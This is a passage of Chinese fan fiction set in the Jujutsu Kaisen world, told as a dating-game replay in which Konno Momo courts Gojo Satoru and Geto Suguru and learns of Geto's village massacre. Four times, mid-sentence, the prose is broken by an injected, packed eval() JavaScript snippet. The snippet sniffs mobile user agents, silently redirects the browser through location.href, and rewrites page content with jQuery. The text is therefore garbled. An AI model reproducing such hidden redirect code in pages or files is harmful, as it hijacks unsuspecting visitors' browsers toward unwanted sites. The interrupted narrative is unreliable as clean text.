“滚开!”将咒力凝聚成箭支,今野桃的含怒一击把蝇头清扫而空。她跳过地上用“苍”打出来的深坑,半跪在了五条悟的身边。 致命伤在额头上,应该是用刀捅进去了。然后是从喉咙划到胸口的刀痕,以及大腿上的贯穿伤。 五条悟完全不是伏黑甚尔的对手。就算他在全盛状态,伏黑甚尔要杀他,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153923|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是多费些时间罢了。 “坚持住,五条,我带你去找硝子!” 她的声音是哽咽的,目光却紧紧盯着他的伤口。很快,她的眼皮抖了抖。 她看见五条悟额头上的伤在好转。浓郁的咒力像橡皮泥一样不断被吸入他的身体,一点一点把他残缺的部分填补完整。 一般情况下,咒术师可以操控咒力,却无法吸收咒力。简单来讲,因为咒力源于负面情感,是一种“负能量”,而人体本身属于“正能量”。所谓“反转术式”就是将“负能量”转化为“正能量”,从而使得咒力可以被人体吸收。 五条悟就是在此刻,领悟了“反转术式”。 他的属性面板在暴涨。 等他升级以后,就要去找伏黑甚尔报仇了。于是伏黑甚尔也死在了他的手中。 今野桃捧着五条悟的后颈,复杂的情绪让她一时间难以理清。 当初第一次见面,她是真没怀疑过两人会是互杀的敌人关系,毕竟他敲门的时候是那样不紧不慢,看不出一点怨恨。 就算后来察觉不对,也只以为双方是立场不同。 只有亲眼见到后,她才终于意识到,伏黑甚尔下手有多狠。 他没打算让五条悟活下来。 而五条悟在反杀后,选择结束复仇。 他确确实实是善良的,甚至原谅了原谅了伏黑甚尔,照拂了他的家人。 这当然不是因为五条悟是个受虐狂,而是因为伏黑甚尔的实力折服了他,令他惺惺相惜。 太阳会看见月亮,会照耀星星,却不会分半点余光给地上的萤火虫。 沾着血液的手握住了今野桃的手臂,原本没有焦点的苍蓝色的瞳孔再次凝聚出了光彩。 “啊……是你啊……”五条悟借了她几分力气,慢慢起身。他的眼中带着不正常的兴奋,让人怀疑他到底还有多少理智。 “五条,你……你还好吗?”今野桃说得有些结巴,眼前的少年忽然变得陌生了许多。 “我很好啊。”五条悟摇摇晃晃地站了起来,连呼吸都是急促的,“我从来没有感觉到……像现在这样好。” 世界在他眼里天翻地覆,仿佛带着雾气的镜面终于被擦干,清晰的风景映入眼帘。 “五条,硝子很快就来,你先等……” “不用了。”夕阳的余晖洒在他的身上,他回过头,看着今野桃,“你回去吧。这不是你能插手的战斗。” 今野桃坐在地上,苦涩地笑了两声,开口道:“五条,你是不是觉得我很弱,所以看不上我?” “啊,是啊。”五条悟回答了,“不过你虽然很弱,但也算努力的吧。说不定以后能成为二级咒术师呢。比起做恋人,我们还是做朋友吧。” 二级咒术师,已经是咒术界的中流砥柱了,在五条悟口中却轻飘飘得不值一提。 他转过身,浓郁的咒力坏绕着他,托举着他飞向高空。 他像是一轮新的太阳,冉冉升起,势不可挡。 今野桃懂了。 五条悟慕强。或者说,咒术师们都慕强。 “真是的……”今野桃长叹一声,“就不能把战斗板块和恋爱板块分开吗,不要往恋爱游戏里乱加内容啊!” 还有,谁想跟你做朋友! 【退出游戏。】 【五条悟好感值:50】 【五条悟—为众所逐之日(BE) ——被众人追逐的太阳,不在乎微末之光。】 可恶啊!五条悟,杰的好感值都比你高! 16.第十六章 埼玉县浦和中学是一所一贯制学校,小学、初中和高中都在一个地方。 因为没有升学压力,生源良莠不齐,基本上都是附近的孩子。大家彼此知根知底,既是好事,也是坏事。 伏黑惠背着沉重的书包在楼梯上往下走,刚刚走到拐角处,几个比他高出一大截的男孩子把他堵住了。 他们的嘴角挂着不怀好意的笑,眼神轻蔑又恶毒。 “喂,伏黑,这么着急回家吗?” 伏黑惠抬眼,明明个子矮,气势上却并不输给这些大孩子。 “有什么事吗?”他试图从缝隙中挤出去,却失败了。 “最近手头有点紧,给点钱花花。”男孩子们伸出手,在伏黑惠的面前晃了晃,做出数钱的动作。 伏黑惠表情紧绷,硬巴巴地说道:“我没钱。” “没钱?”为首的男孩子一把揪住伏黑惠的衣领,将他提了起来,只有脚尖点地,“没钱不会去偷吗?” 旁边的小弟抢过伏黑惠的书包,用力拉开拉链就要把东西摔在地上。 伏黑惠的神情变得愤怒,手指颤抖,似乎在忍耐什么。 这些人、这些人…… “住手!”呵斥声从上头传来,紧接着就是哒哒哒的脚步声,“你们是哪个班的?什么名字?霸凌同学,全部都带到校长办公室去!” 几人一哄而散,拔腿就跑。几秒钟后,伏黑惠看见一位女生小跑过来。她应当是名高中生,黑色的长发扎成了马尾辫,在背后一荡一荡。 “跑得还真快。”她不满地嘀咕了两声,看向伏黑惠,担忧地问道,“你没事吧?” “我没事,谢谢。”伏黑惠低下头,把书包收拾好,重新背了起来。 他慢吞吞地朝着学校大门走去,能感觉到女生就跟在他身后。她大概是想把他被霸凌的事情告诉他家长吧,可惜…… 伏黑津美纪站在学校门口焦急地往里面张望,她是想去班上接弟弟的,但被伏黑惠拒绝了。看见伏黑惠出来,她松了一口气。 “小惠,你怎么这么晚出来?”她迎了上去,伸手要去拿伏黑惠的书包,被他避开了。 “收拾东西慢了点。”伏黑惠低声说道,“我们回去吧。” 伏黑津美纪看了一眼今野桃,犹豫道:“这位是……” “你好,我叫今野桃。你是小惠的姐姐津美纪吧?” 一口叫破两人的名字,让两个小孩都声出了警惕。 “是的,请问你有什么事吗?” “确实有些事情想跟你们聊聊,方便我请你们吃个晚饭吗?”今野桃对两个小孩飞了个wink,“我请你们吃炸鸡怎么样?” 没有小孩能抵挡得了炸鸡的诱惑,但两个早熟的孩子却一口拒绝。 “不了,我们还要……” “顺便我想跟小惠聊一下关于他父亲的事情。”今野桃叹了口气,“放心好了,就在学校旁边那家炸鸡店。” 父亲…… 伏黑惠看向姐姐,这个家是姐姐做主。伏黑津美纪也看向弟弟,终究还是同意了。 “好吧,让你破费了。” “不破费,一点零食而已。”今野桃笑了笑,领着两个小孩坐在了炸鸡店的角落里。这个时间早已放学,炸鸡店没什么人。 今野桃叫了三份儿童套餐,足够他们吃饱了。 虽然身边没有大人,但两个小孩的吃相不错,显然津美纪把弟弟教得很好。 “姐姐是想跟我们说什么事情呢?”伏黑津美纪苦笑道,“我和小惠已经很久没有见过他的爸爸了。如果你想从我们这里打听什么,恐怕我们帮不上你。” “我不是来打听消息的。”今野桃顿了顿,似乎在组织语言,语速很慢,“我同伏黑先生、也就是你的父亲之间……” “什么?!”伏黑惠几乎用破音的语气尖叫,“你和那个渣男?!” 伏黑津美纪也猛地后仰,瞪大了眼睛看她。 “不是不是,你误会了。”今野桃扶额无奈,“不是你想的那样,伏黑先生曾经帮过我,不过他大概是没有放在心上。” “帮你?今野学姐,你不会是被他骗了吧?”伏黑惠严肃地说道,“我那个父亲……并非我说他坏话,而是他确确实实不是个好人,很擅长利用他那张看起来好看的脸去欺骗女生。” “诶?是这样吗?”今野桃装出惊讶的样子。 “是的没错!”伏黑惠咬着牙,生气地说道,“他竟然连高中生都骗,实在是太过分了!” 忍笑了片刻,今野桃没有再逗弄两个小孩,她伸出手摸了摸伏黑惠的头发,顺便捏了捏他的小脸蛋,说道:“好了,谢谢你们的关心,不过确实不是你们想的那样。之前我也被不良勒索过,是伏黑先生路过,好心出手帮了我一把。” 嗯? 伏黑惠愣住:“不、不可能吧……” 他的父亲……是那种会烂好心的人吗? “那些不良被教训得很惨呢,后来再也不敢来找我的麻烦了。”今野桃双手交叉放在桌上,神情温柔地说道,“对此我铭感于心,一直想要向伏黑先生表达感谢,可惜没能再见到他。” 伏黑惠半信半疑。 今野桃低头抿了一口茶水。 这个故事当然是她编的,正如伏黑惠所想,伏黑甚尔怎么可能是一个这样好心的人。他只会目不斜视装作什么都没看到,绝不会多一个动作。假如那些混混挡住了他的路,他倒是有可能把混混连同今野桃一起踹到边上去。 但编的又如何呢,他也不能跳出来拆穿她的谎话。 按照现在的时间线来看,伏黑甚尔死了应该快有半年了吧,坟头的草都要长出来了。 伏黑惠虽然嘴上不相信父亲会做这种好事,但内心深处却仍旧期待作为“父亲”的伏黑甚尔还不是一个烂得彻底的人。他嗫嚅了两声,没什么底气地说道:“这样啊……” “嗯。”今野桃笑吟吟地说道,“后来我打听了许久,终于得知伏黑先生那天是来看望伏黑惠的。事实上,我观察小惠很久了,一直想跟你搭上话,却始终没有找到合适的机会。这次贸然出现,还希望你们不要介意。” “不、不会。”伏黑惠摇摇头,“今天的事情也要谢谢你了。” “什么事?”伏黑津美纪关心地看着伏黑惠。 “不是什么大事,学校里的小孩大多都是欺软怕硬的,小惠没有大人看顾,难免会被那些人当做可以捏一捏的‘软柿子’。”今野桃回忆了一下手感,嗯,他捏起来确实软软的。可惜没多少肉,有点硌手。 “太过分了!”伏黑津美纪压抑着怒火,“我一定要告诉他们的老师!” “老师自然是要告诉的,除此之外,我也会尽力帮助你们。”今野桃笑道,“这次来找你们,其实主要也是跟你们说一声,我没有恶意。” 伏黑津美纪不太像接受陌生人的帮助,但今野桃说得诚恳,她是来“报恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158055|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的,那么拒绝的话会不会不太好呢? 而且如果有大孩子“撑腰”,他们两人在学校的日子或许会好一点。 “既然如此……那真的是非常感激了。”她低头说道,“有什么是我们可以帮得上忙的,也请尽力吩咐我们吧。” “好呀。” 两个小孩子能帮上什么忙,照顾好自己就够了,毕竟一个才五岁多,另一个也才七岁。 第二天,今野桃就去找了伏黑惠的老师,把伏黑惠被霸凌的事情告诉了他,并且表示她加入的校报社有意以“校园生活”为中心开展活动,“校园霸凌”或许会是一个引人深思的主题。 得到了老师“会严肃处理”的答复后,她又花了一笔钱雇了几个初中生把那些欺负伏黑惠的小孩揍了几次,以毒攻毒,一边揍还一边说“让你们欺负伏黑哥”,直把那些小孩打得哭爹喊娘,大呼“我们再也不敢了”! 很快,伏黑惠就有了“伏黑哥”的称号。 伏黑惠:谢谢,并不想要。 但从前欺负他的人低头了,也不再有人敢对他指指点点了,伏黑惠还是闭上嘴巴认了这个称呼。 为了感谢今野桃的帮助,虽然拿不出什么值钱的回礼,但伏黑津美纪还是借着手工课的机会,给她做了一个很小的零钱包,上面绣着简单的桃花图案。 今野桃收下了。 眼看两个小孩对今野桃的好感与日俱增,她登堂入室已经指日可待。 今野桃不信伏黑甚尔什么都没给自己儿子留下,伏黑惠的身上一定还有她没发掘出来的秘密。 反正她和这周目的攻略对象距离遥远,干脆就先做个小支线。 是的,这周目的她没能摇到咒力这个属性,只能以普通人的身份开局。 好在她选定的攻略对象是夏油杰。和傲慢难搞的白毛dk相比,夏油杰虽然也是骄傲的,但他有一颗特别的“怜弱”之心,这让她很顺利地在初三那年接近了他,并且相当顺利地成为了恋人。 她就说嘛,很少有男生能抗拒一个长得好看又主动靠近的女生。 温柔、可爱、体贴、善良……性别互换,她也会爱上这样的女孩子的好吗! 推开家门,今野桃发出了惊喜的声音。 “杰,你回来了呀?!你怎么不提前跟我说呢,我好买些吃的回家。”她有些懊恼地说道。 明明还是个未成年,站起来却像棵挺拔的大树,高大、健壮,试图为旁人遮风挡雨。 夏油杰接过她的书包,含笑道:“只是出任务的时候正好路过,所以来看看你。” 他的目光流转,落在了书包旁边挂着的零钱包上。 “这个挂件挺好看的,谁送给你的吗?”他的声音轻柔,摩挲着上面的桃花。 “啊,是一个学妹。”今野桃躺倒在沙发上,伸了个懒腰说道,“之前不是帮了他们吗,这是回礼。” “原来如此。”夏油杰将书包放在架子上,转身蹲在了今野桃的旁边,捧着她的脸颊笑道,“我们的小桃也学会帮助弱小者了。” “嗯哼,是杰大人指点有方。”今野桃任由他把她的脸蛋搓来搓去,懒洋洋地说道,“你不是一直说,要保护弱小的人吗。” 夏油杰亲昵地亲了亲她的额头,将她鬓边的乱发拨到了耳后。 “是啊,保护弱小者,是我应该做的事情。”身为强者,保护弱者是应尽的职责。 锄强扶弱,这就是他的正论。 17.第十七章 虽然今野桃是转校生,但夏油杰第一次见到今野桃并不是在教室。 那时学校旁边的一条昏暗巷子,没有灯光,散发着臭水沟的气味。宿醉的男人摇摇晃晃地走进了巷子,一边走一边解着裤腰带,想做什么不言而喻。 夏油杰本该连眼角的余光都不会分过去,奈何他眼睁睁地看见一只散发着可怕黑气的咒灵跟着男人挤进了巷子里。 想都没想,他冲了过去。 这个咒灵并不强,他应对得游刃有余,很快就将它压缩成了一颗圆球。男人没有受伤,这让他松了口气。 “你没事吧?”夏油杰温和地开口道。 男人早已被吓得紧紧贴着墙壁,两条腿颤抖个不停。看见夏油杰回头,他不仅没有说一声谢谢,反而一边大喊着“怪物”一边跑了出去。 夏油杰的笑僵在脸上,随后无奈摇头。 算了,他也已经习惯了。咒灵玉在掌心把玩了片刻,夏油杰鼓起勇气,张开了嘴。 咕咚。 夏油杰半跪在地上,额头沁出冷汗。他捂着嘴,竭力克制住呕吐的冲动。 不管多少次,他都还是无法习惯这个味道。 肮脏的、恶心的……在他的胃里翻天覆地。 “那个……”有声音从身后响起,带着小心翼翼的担忧,“你还好吧?” 夏油杰猛地回头,看见一个女生。她的手里捏着一块手帕,想要递给他,又有点害怕。 “你……”他眯着眼睛,神色有些冷峻。 “啊啊我是看见你穿了校服,然后我刚好也是那个学校的,所以就过来问一下。那个,你不是追着一个男人进来了吗,然后那个男人出去了,但你又没出去……” 女生有些语无伦次。 夏油杰这才注意到她穿的衣服。 他扯了扯嘴角:“我没事,谢谢。” “没事?你看起来可不像是没事。”女生嘀咕着,从口袋里掏出一块巧克力,“你是不是低血糖啊,吃块巧克力吧。” 此时的夏油杰面色苍白,一副站不起来的样子,确实很像低血糖。 “……谢谢。”鬼使神差地,他从她的掌心拿走了那块巧克力,“不过下次再遇到这种事,可不要冒冒失失地往危险的地方闯了。” “是——我知道啦。”女生露出了一个甜美的笑,“我叫今野桃,你呢?” “夏油杰。” 巧克力融化在口腔,甜蜜的滋味或许真的冲淡了一些恶心的感觉。 在打铃前努力没有迟到的夏油杰还在思考女生会是哪个班级,抬眼就看见她跟在班主任的身后走进了教室。 隔着一排一排的人群,她对他眨了眨眼睛。 夏油杰不知道自己的嘴角跟着上扬,眉眼间流淌出了浅浅笑意。 . “杰要赶着回学校吗?”今野桃靠着男友的肩膀,手指绕着他额前的那缕刘海问道。 夏油杰往后躲了躲,没能避开,干脆就任由她玩了。 “不着急,”他翻看着她的课本回道,“在出任务的情况下,高专允许学生外宿。” “咦?那是不是意味着……”今野桃拉长了声音,眼睛亮晶晶的,“杰今天晚上可以在我这里睡啦?!” “……不要用那种语气说出让人误会的话啊。”夏油杰挪开视线,“还是个未成年呢。” “什么让人误会的话?”今野桃歪着头,故意说道,“杰难道不睡客房吗?” 今野桃这次的背景是单亲家庭,母亲早亡,父亲常年在外出差,几乎等于工具人。这栋三室两厅的房子只有今野桃一个人住,主卧留给父亲,次卧她自己睡。而多出来的那间客房,如今属于夏油杰了。 但两年多时间里,他在这里休息的次数寥寥。 夏油杰无奈地看了一眼自己的小女友,从沙发上起身,问道:“晚上吃什么?” “啊,本来是想叫外卖来着,杰有什么想吃的吗?” 夏油杰打开冰箱,看见里面乱七八糟地放着一堆零食。他叹了口气:“我都行,虽然想给你做些有营养的,但这样子也做不了吧。不管怎么说,要照顾好自己啊,小桃。” “外卖哪里没有营养啦。”今野桃瘫在沙发上,不满地嚷嚷,“反正填饱肚子就行了。” 唉。 夏油杰打开手机,找到之前存在手机里的附近店家的号码。 “吃寿司可以吗?还有天妇罗。” “可以,都可以。”今野桃懒洋洋地说道,“杰点什么都可以。” “再加上一些天妇罗吧。”夏油杰噼里啪啦地买了一大堆。 手机屏幕的灯光照在他的脸上,映出一片白莹莹。今野桃不知道什么时候走到了他的边上,一点一点慢慢靠近了他。 夏油杰几乎要以为她想亲上来了,但最后她停在了距离他脸颊不到五公分的地方。 “杰,”她喃喃道,“你看起来有些憔悴啊,都出现黑眼圈了。” “嗯?”夏油杰下意识地摸了摸眼下,“有吗?” “有啊!”今野桃皱着眉,用手戳了戳他的下颌说道,“你看看,你都瘦了!你们学校的伙食也太差了!” 夏油杰握住她的手,笑道:“不过是最近没什么胃口而已。” “没胃口?”今野桃狐疑地看着他,“杰,你不会是生病了吧?” “没有生病,你可以放心。”夏油杰垂眼,“你也知道,我的术式比较特殊。这几天收服的咒灵有些多,影响了胃口。” 今野桃将信将疑地点头:“好吧,杰,你不要太勉强自己。咒灵有那么多,靠你一个人哪里收得过来。而且那些很差的咒灵也不配成为你的式神,我们得精挑细选。” “嗯嗯,小桃说得有道理呢。”夏油杰赞同地点头。 今野桃以为他听进去了,蹦蹦跳跳地跑去收拾厨房,却不知道少年怔怔地抬头看向天空,目光没有焦点。 精挑细选吗……哪里还有时间让他精挑细选。悟已经胜过他太多太多,每个人都在往前走,只有他还留在原地打转。 悟一直说他们是最强的,但事实上,只有悟是最强的,他根本不配与之相比。 如果、如果那个时候他能再强一点,或许理子就不会死了。悟变强以后,轻而易举地就为他们所有人报了仇。那个令他毫无反抗之力的男人,轻松就被悟杀掉了。 不,那个男人……或许也称不上是他们的仇人。他也不过是被雇佣的一把刀,真正的凶手甚至都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161176|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并非咒术师。 被自己视为必须保护的普通人,也会成为杀死咒术师的凶手吗…… 夏油杰为此感到困惑。 他像是漂浮在无边无际大海上的一艘船,找不到应去的方向。 “我相信杰最近是真的胃口不好了,只吃这么一点哪里够呀。”今野桃担心地夹了一个大虾天妇罗放在他的碗里。 夏油杰将来自女友的关心收下了,面衣在口中咬碎,发出清脆的响声。 “小桃。”他忽然开口道,“如果有一天……我保护不了你……” 今野桃咀嚼的动作停下,两人四目相对,夏油杰再次低头,自嘲般摇摇头。 “算了,当我什么都没说。” 但今野桃不能当没听见。 “虽然我确实是只认识杰一个咒术师啦。”她慢吞吞地说道,“但是杰在我心里就是最厉害的。” 不,如果你认识悟的话…… “杰有听说过光环效应吗?意思是,不管其他人有多好,在我心里,我喜欢的那个人就是最好。”今野桃一字一句郑重地说道,“你就是最好的,谁都比不上你。” 夏油杰单手撑住额头,垂落的发丝没能遮住他泛红的耳根。 “知道了,你快吃吧。”他试图用寿司塞住她的嘴。 可惜失败了。 不过没关系,他还是有办法让她不要继续开口。 明明是个普通人,她却有着似海洋一般深远的包容,让他无法不沉溺于其中。 握住她纤细的手腕,仿佛握住了能让他喘息的稻草。 夏油杰在女友这里度过了宁静的一晚。准确地说,是半个晚上。 凌晨时分,他被一通电话叫醒了。 是非常紧急的临时任务,突然暴走的咒灵盘踞在一块居民区,如果不立刻祓除的话,很快就会出现伤亡。 夏油杰二话不说就把衣服穿好,将自己的位置告诉了辅助监督。尽管他开门的时候已经尽可能放轻了动作,但合页转动的声音在万籁俱寂的深夜还是太过刺耳了。 今野桃打着哈欠从隔壁走了出来,看见穿戴整齐的夏油杰后愣住。 “杰,这么晚你去哪?”她还以为他是出来喝水,没想到是要走? “小桃,有个任务需要我,抱歉,我要提前离开,明天早上不能跟你一起吃早餐了。”夏油杰将外衣的扣子扣好,匆匆忙忙就要往外走。 走到半路,他想起了什么似的折返回来,扶住她的肩膀,俯身在她的眉心处落下一吻。 “早点休息。” 少年踩着夜色出门,今野桃站在楼上,望着他钻进一辆黑色的商务车里。车子喷出一串尾气,发动机响起,很快消失在了空无一人的街道尽头。 这个点……做任务? 今野桃看了一下手机上的时间,现在是凌晨两点零七分。 高专里的咒术师,什么时候这个点做过任务?都还是需要睡眠的未成年呢。然而夏油杰熟练的动作不像是第一次这样做了。 她眉头紧锁,极力回忆了一下自己曾经在高专待过的两年生活,确定不管是她还是庵歌姬都没有凌晨被叫醒过。 是她们的级别太低了吗? 今野桃不太确定。 18.第十八章 [杰,这周末有时间吗?一起去看电影怎么样?][未读] [杰,是最近很忙吗?][未读] [看到了消息记得回我一下哦,杰。][未读] [杰,怎么了?我很担心你。][未读] [杰,我去你的学校看看你可以吗?][未读] [杰,我来了。][未读] . 合上手机,今野桃定了定神,坐上了前往东京都立咒术高专的公交车。 她请了一天假,下定决心非得蹲到已经失联半个月的夏油杰不可。 她和夏油杰已经快半年没有见面了,明明日本不大,两个人却像是谈了一场隔着千山万水的异地恋。 其实不见面也没关系的,只要好感值在稳步上升就行了。今野桃也做过咒术师,知道咒术师忙碌起来确实没有空闲,再加上工作内容的高危险性,所以那一点点空余时间想用来独自消磨也是理所当然的事情。 但夏油杰不是那种会不回消息的人,他甚至连推销电话都能跟对面聊几句。 一定出了什么事,所以他才会消失不见。 是失联了吗?就像之前她和庵歌姬以及冥冥遇到的那种会操控时间和空间的咒灵,进入它的结界后就会与世隔绝。 总不会是死了吧?!死了的话,现在不应该跳一个BE出来吗?上周目五条悟的好感值那么低都跳了个结局,没道理夏油杰人都死了,高达70点的好感值都舍不得给她一个结局。 乱七八糟的念头充斥着她的大脑,让她头痛不已。 漫长的车程让她有些昏昏沉沉的,直到听见广播提示她,她才慌慌张张地从车上跳下来。迎面扑来的就是大山和各种树木混杂的气味,十分熟悉。 她深吸了一口气,抬步向山上走去,最后停在了高专的门口。高专有结界,陌生人无法进入,咒术师擅闯会触发警报。 今野桃这周目是个普通人,自然没办法进去,只能在门口等着。 太阳慢慢地升到了半空,好在山里温度不高,还能忍受。今野桃像是个雕像,沉默不语地矗立着。 直到一辆商务车停在了高专的门口,一个女生从车上下来。 看见今野桃,她的脸上露出了几分淡淡的惊讶。 “你是谁?”她问道。 今野桃眼睛一亮,连忙迎了上去。 “你好,我叫今野桃,是来找夏油杰的。” 一时间,女生愣住了。好半天,她才迟疑着开口:“你来找……夏油杰?” “是的,我是他的女友。”今野桃焦急地询问道,“杰已经很久没有跟我联系了,请问他是出了什么事吗?” 女生的眼睛微微睁大:“啊,你就是夏油一直藏着掖着不肯给我们看的女友吗?” 藏着掖着? “都三年了啊,这还是我第一次见到你呢。”女生感慨,脸上的神色复杂。 今野桃不好意思地笑了笑:“难道你是……家入同学?杰跟我提起过你和另一个男生,说你们是他的同窗。” “同窗?也对,我和他……算是同窗吧。”女生短促地笑了一声,然后朝她招了招手,“你跟我来。” 家入硝子打了个电话出去,很快就有人跑过来给今野桃登记,随后两人走进了学校。 她没有带今野桃去找老师,而是一路领着她来到了医务室。身为反转术式的持有者,家入硝子在医务室里有专属办公室。 今野桃明显有些坐立不安,她走进医务室探头探脑,小声问道:“杰……是在这里吗?” 家入硝子打开上锁的抽屉,从里面取了一份报告出来。洁白的纸张上,那一抹血迹格外刺眼。 今野桃有了不好的预感。她的心跳开始加速,呼吸变得急促。 难道夏油杰真的死了?! 也对,甚尔不也是死了一段时间后,直到她收到讣告才跳出结局的吗。 在家入硝子的注视下,今野桃没有第一时间接过这张轻薄的纸。直到她的喉头滚动了一下,微微颤抖的手指托住了这份比羽毛还要轻飘飘的报告。 [本校学生所造成伤害事件的调查报告] 标题这样写着。 今野桃茫然地抬头看向家入硝子,对方沉默不语。 她继续往下看。 [标题所示事件的报告如下。 调查对象 学生:东京校3年级 夏油杰 1.事件内容记录…… 2.对夏油发布的任务概要…… 3.行动与经过推测……] 这份出自辅助监督之手的任务概要写得相当清晰,没有任何含糊之处。 也正是如此,才更叫人不敢相信其中的内容竟然是真的。 [……村民屠杀事件爆发。112名村民死亡,之后村子被放火,有七成被彻底烧成灰烬。 高专赶往现场后没有发现任何幸存者,也没有目击证词。 死因调查的结果,所有人都是被咒灵杀害。又通过残秽检查,判定是夏油杰的咒灵操术。 应该是夏油在杀害村民后,在村子里放火,最后逃走。 在这次事件中,夏油动机不明。] “杰……”今野桃的身体晃了晃,只觉得自己好像在做梦,“这不可能啊!杰怎么会、怎么会做出这种事呢?!” 将整个村子屠杀得一干二净,一个活口都没留下。这种骇人听闻的事情,怎么可能会是那个说着要保护所有弱小者的夏油杰做的呢?! 她不信! “一定是、一定是哪里有误会!杰一定是被人陷害的!”今野桃红着眼睛,拉住家入硝子的袖子,恳求道,“我不相信杰会做出这种事情!报告上不是说了,杰没有动机去做这件事吗?一定是有人故意构陷杰!” 今野桃颠来倒去地重复着这几句话,她不知道自己声音抖得有多厉害,只是像抓住最后一根救命稻草般抓着家入硝子。 家入硝子没有甩开她的手,反而扭动手腕,握住了她冰冷的手背。 “我见过他了。”家入硝子垂下眼睑,“我问他,有没有冤枉你。他告诉我,很遗憾,没有。” 房间里陷入了死寂,只听得见沉重的呼吸声。 “我知道你不敢相信,实际上我们在得知这个消息的时候,也不相信。”家入硝子点了一根烟,品尝着口中的苦涩,“五条……啊,就是夏油的另一个同窗,在把报告给我的时候,手掌心都被自己掐出血了。我问过夏油了,他也问过夏油了,但夏油的回答都是一样的。” 原来,这抹血迹是五条悟的吗。 “当然,我知道,人都是不见棺材不掉泪的。你一定想着,要亲眼见到夏油,亲耳听见他的答复,你才会死心对吧。”家入硝子拍了拍她的手背,“我建议你不要。” 她慢条斯理地说出了一句更加骇人的话。 “我们都知道夏油有女友,但在夏油叛逃后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167355|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我和五条都没有去找过你,是因为我们以为你已经死了。”家入硝子长长地吐出了一口烟,“正如夏油在叛逃后,杀死了自己的父母那样。” “什么?!”今野桃惊惧地失声喊道,“杰把自己的父母杀了?!” 今野桃见过夏油杰的父母,虽然只有一面之缘。在经历了伏黑甚尔给她的“二婚”惊喜后,她学会了事先调查一遍攻略对象。五条悟的身世不用调查也广为人知,而夏油杰的身世普普通通,并没有什么奇特的地方。 普通的职工父母,独生子家庭。虽然小时候夏油杰没能控制好自己的天赋引得邻居关注,导致搬了两次家,但等他十岁之后,一切又都走上了正轨。 家人疼爱、经济富裕,夏油杰有什么理由把父母杀死呢? “我猜啊,夏油他或许是想要把过去都斩断吧。”家入硝子疲惫地说道,“他已经彻底放弃了从前的自己,那么从前自己所拥有的,也要全部都毁掉。一直以来坚持的正论、身为普通人的父母,还有……你。” 目光流转,家入硝子看向今野桃。 “但他大抵还是喜欢你,所以只是从你的世界里消失。不过嘛,如果你主动凑上去,那么结果就不好说了。”家入硝子一字一句地说道,“也许你,真的会被他杀掉。” 今野桃松开了她的手。 她望着家入硝子,知道她是在关心她。但是、但是…… “抱歉。”今野桃将报告放回了她的桌子上,“我必须见到他。” 家入硝子好像也并不意外,她侧过头,说道:“你找不到他的。”身为普通人,怎么可能找到有心避开的咒术师。 咒术师和普通人之间,有着深深的壁垒啊。 “放心好了,我会见到他的。”今野桃笃定地开口。 她打开了仅有的那个存档。 那是夏油杰失联的第二天,已经有着丰富游戏经验的她猜测或许会有一个剧情点,于是在这里存了档。 那时她以为夏油杰可能遭到了强敌。怀抱着无论如何都要把夏油杰救回来的信念,她做好了准备。 但故事的走向并不受她控制。 读档。 踩着黄昏的余晖,今野桃敲响了夏油家的大门。表情严肃的中年男人打开了门,用堪称严苛的目光打量着她。 “你是哪位?” “你好,我是杰的女朋友,请问您能联系上他吗?”她面带忧虑地问道,“他一直没有回复我信息,我很担心他。” 中年男人沉默良久,直到另一个看着更加苍老的女人上前推了推他,他们让开了位置:“我们都不知道杰有了女友……算了,进来说吧。” “打扰了。” 夕阳渐渐染上绯红,像是一块巨大的画板被厚重的颜料涂抹,浓稠的血色似被苦难与罪恶浸透,将世间万物都笼上了一层不详。 在道路的尽头,一个修长的人影慢慢走进。 他走得很慢,却很坚定。 他在房子的门口站定,听见里面传来说话声。冰冷的阳光从他的身后照射过来,他的五官都沉在阴影之中。 “都在啊……”他勾起了嘴角,又很快拉平,似笑非笑,似哭非哭,“也好。” 咔哒。 门被推开了。 【夏油杰好感值:75】 